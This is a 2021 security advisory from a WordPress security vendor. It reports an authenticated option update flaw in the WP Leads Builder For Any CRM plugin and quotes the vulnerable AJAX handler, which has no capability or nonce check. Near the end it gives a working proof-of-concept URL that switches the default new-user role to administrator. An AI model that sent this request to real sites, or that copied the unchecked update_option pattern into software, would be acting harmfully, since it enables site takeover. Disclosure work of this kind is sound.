8 Dec 2021

Our Proactive Monitoring Caught an Authenticated Option Update Vulnerability in WP Leads Builder For Any CRM

One way we help to improve the security of WordPress plugins, not just for our customers of our service, but for everyone using them, is our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. Through that, we caught one of those vulnerabilities, an authenticated option update vulnerability, in the plugin WP Leads Builder For Any CRM.

Through the same monitoring, we identified the same type of vulnerability in another of the developer’s plugins three weeks ago. We put out an advisory on the developer due to continued poor handling of security over five years ago.

The possibility of this vulnerability is also flagged by our Plugin Security Checker, so you can check plugins you use to see if they might have similar issues with that tool.

We tested and confirmed that our new firewall plugin for WordPress protected against the proof of concept below, even before we discovered the vulnerability, as part of its protection against zero-day vulnerabilities.

Authenticated Option Update

The plugin registers the function save_thirdparty_form_title() to be accessible through WordPress’ AJAX functionality to anyone logged in to WordPress:

14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
$ajax_actions = array(
		'selectplugpro' => false,
		'SaveCRMconfig' => false,
		'save_campaign_details' => 'false',
		'campaign_mapping' => 'false',
		'save_apikey' => 'false',
		'wp_usersync_assignedto' => 'false',
		'TFA_auth_save' => 'false',
		'mappingmodulepro' => 'false',
		'Sync_settings_PRO' => 'false',
		'saveSyncValue' => 'false',
		'send_mapping_configuration' => 'false',
		'createnew_form'=>'false',
		'get_thirdparty_fields' => 'false',
		'map_thirdparty_fields' => 'false',
		'save_thirdparty_form_title' => 'false',
		'send_mapped_config' => 'false',
		'delete_mapped_config' => 'false',
		'captcha_info' => 'false',
		'droptable_info'=>'false',
		'import_file'=>'false',
		'file_import'=>'false',
		'download_json'=>'false',
		'saveSFSettings' => 'false',
		'saveZohoSettings' => 'false',
		'save_usersync_RR_option' => 'false',
		'selectthirdpartypro' => 'false',
		'customfieldpro' => 'false',
		'smack_leads_builder_pro_change_menu_order' => 'false',
		'send_order_info' => 'false',
		'change_ecom_module_config' => 'false',
		'save_convert_lead' => 'false',
		'map_ecom_fields' => 'false',
		'map_sync_user_fields' => 'false',
		'adminAllActionsPRO' => 'false',
		'SaveSuiteconfig' => 'false',
		'zohoCRMRedirect' => 'false',
		);
foreach($ajax_actions as $action => $value ){
	add_action('wp_ajax_'.$action, array(__CLASS__, $action));

That function, which is in the file /includes/LB_admin_ajax.php, will update a WordPress option (setting) specified by user input to a value specified by user input (with the limitation that the value is passed through sanitize_text_field()):

464
465
466
467
468
public static function save_thirdparty_form_title()
{
	$thirdparty_title_key = sanitize_text_field($_REQUEST['tp_title_key']);
	$thirdparty_title_value = sanitize_text_field( $_REQUEST['tp_title_val'] );
	update_option( $thirdparty_title_key , $thirdparty_title_value );

There is no capabilities check so anyone logged in can do that and there is nonce check, so this could also be exploited cross-site request forgery (CSRF).

WordPress Causes Full Disclosure

As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)

You can notify the developer of this issue on the forum as well.

Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

If the moderation is cleaned up, it would also allow the possibility of being able to use the forum to start discussing fixing the problems caused by the very problematic handling of security by the team running the Plugin Directory, discussions which they have for years shut down through their control of the Support Forum.

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will change the default role for new users to Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/admin-ajax.php?action=save_thirdparty_form_title&tp_title_key=default_role&tp_title_val=administrator

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

Leave a Reply

Your email address will not be published.